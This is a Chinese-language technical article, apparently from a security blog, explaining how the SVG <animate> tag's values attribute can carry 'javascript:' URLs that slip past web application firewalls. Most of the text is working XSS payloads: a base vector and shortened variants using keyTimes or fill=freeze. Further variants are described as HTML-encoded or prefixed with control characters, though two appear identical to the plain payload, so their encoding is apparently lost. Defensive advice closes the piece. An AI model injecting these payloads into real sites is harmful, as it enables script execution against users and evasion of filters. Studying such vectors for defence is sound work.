animate(动画)标签的xss利用
字数 926 2025-08-20 18:17:53
SVG <animate> 标签 XSS 利用技术详解
概述
本文详细解析了如何利用 SVG <animate> 标签的 values 属性进行 XSS 攻击的技术。该技术通过巧妙利用 SVG 动画属性的特性,能够绕过许多 WAF (Web 应用防火墙) 的检测。
基本原理
大多数 WAF 能够提取属性值并检测其中的恶意负载(如 javascript:alert(1))。然而,values 属性可以包含多个用分号分隔的值,每个值都会被动画标签单独处理。通过在 values 属性中间插入 JavaScript URL,可以误导 WAF:
<animate values="http://safe-url/?;javascript:alert(1);C">
基础攻击向量
一个完整的 XSS 攻击示例:
<svg>
<animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite
keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" />
<a id=xss><text x=20 y=20>XSS</text></a>
</svg>
用户需要点击"XSS"文本来触发弹窗。
技术优化
1. 缩短攻击载荷
通过理解 values 和 keyTimes 属性的关系,可以优化攻击载荷:
keyTimes定义了何时使用values中的对应值- 将第一个
keyTimes设为 0 可以忽略第一个values值
优化后的载荷:
<svg>
<animate xlink:href=#xss attributeName=href keyTimes=0;0;1
values="http://isec.pl;javascript:alert(1);X" />
<a id=xss><text x=20 y=20>XSS</text></a>
</svg>
2. 替代 keyTimes 属性
使用 fill 属性可以达到类似效果:
fill="remove": 动画结束后回到第一帧fill="freeze": 动画结束后保持最后一帧
利用 fill="freeze" 并设置极短持续时间:
<svg>
<animate xlink:href=#xss attributeName=href fill=freeze dur=1ms
values="http://isec.pl;javascript:alert(1)" />
<a id=xss><text x=20 y=20>XSS</text></a>
</svg>
3. HTML 编码绕过
对 values 属性中的字符进行 HTML 编码可进一步绕过 WAF:
<svg>
<animate xlink:href=#xss attributeName=href fill=freeze dur=1ms
values="http://isec.pl;javascript:alert(1)" />
<a id=xss><text x=20 y=20>XSS</text></a>
</svg>
还可以在 javascript: 前插入 ASCII 1-32 的控制字符:
<svg>
<animate xlink:href=#xss attributeName=href
values="javascript:alert(1)" />
<a id=xss><text x=20 y=20>XSS</text></a>
</svg>
或使用多个控制字符:
<svg>
<animate xlink:href=#xss attributeName=href
values="... javascript:alert(1)" />
<a id=xss><text x=20 y=20>XSS</text></a>
</svg>
防御建议
- 对所有用户提供的 SVG 内容进行严格过滤
- 禁用或严格限制
javascript:协议的使用 - 实施内容安全策略 (CSP)
- 对 SVG 文件进行服务器端渲染检查
- 使用专门的 SVG 解析库而非简单的正则表达式检测
总结
SVG 规范中隐藏了许多潜在的 XSS 攻击媒介,即使是简单的属性值也可能包含多个恶意负载。本文介绍的技术已在 Firefox 和 Chrome 浏览器上测试有效。防御这类攻击需要深入理解 SVG 规范和多层次的防护措施。